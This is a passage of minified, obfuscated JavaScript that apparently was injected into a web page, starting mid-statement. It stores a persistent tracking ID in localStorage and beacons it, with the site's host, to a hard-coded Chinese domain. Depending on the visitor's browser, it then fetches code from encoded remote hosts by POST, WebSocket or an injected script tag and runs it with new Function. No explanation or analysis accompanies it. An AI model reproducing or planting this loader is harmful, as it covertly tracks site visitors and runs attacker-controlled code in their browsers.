RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=kRLfP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLm9uaWN5Yi5jbiUzQTgg4OTE=','d3NzJTNBJTJGJTJGYS5ycWRsb2QuY24lMM0E5NTMM0','162092',window,document,['g','M']);}:function(){};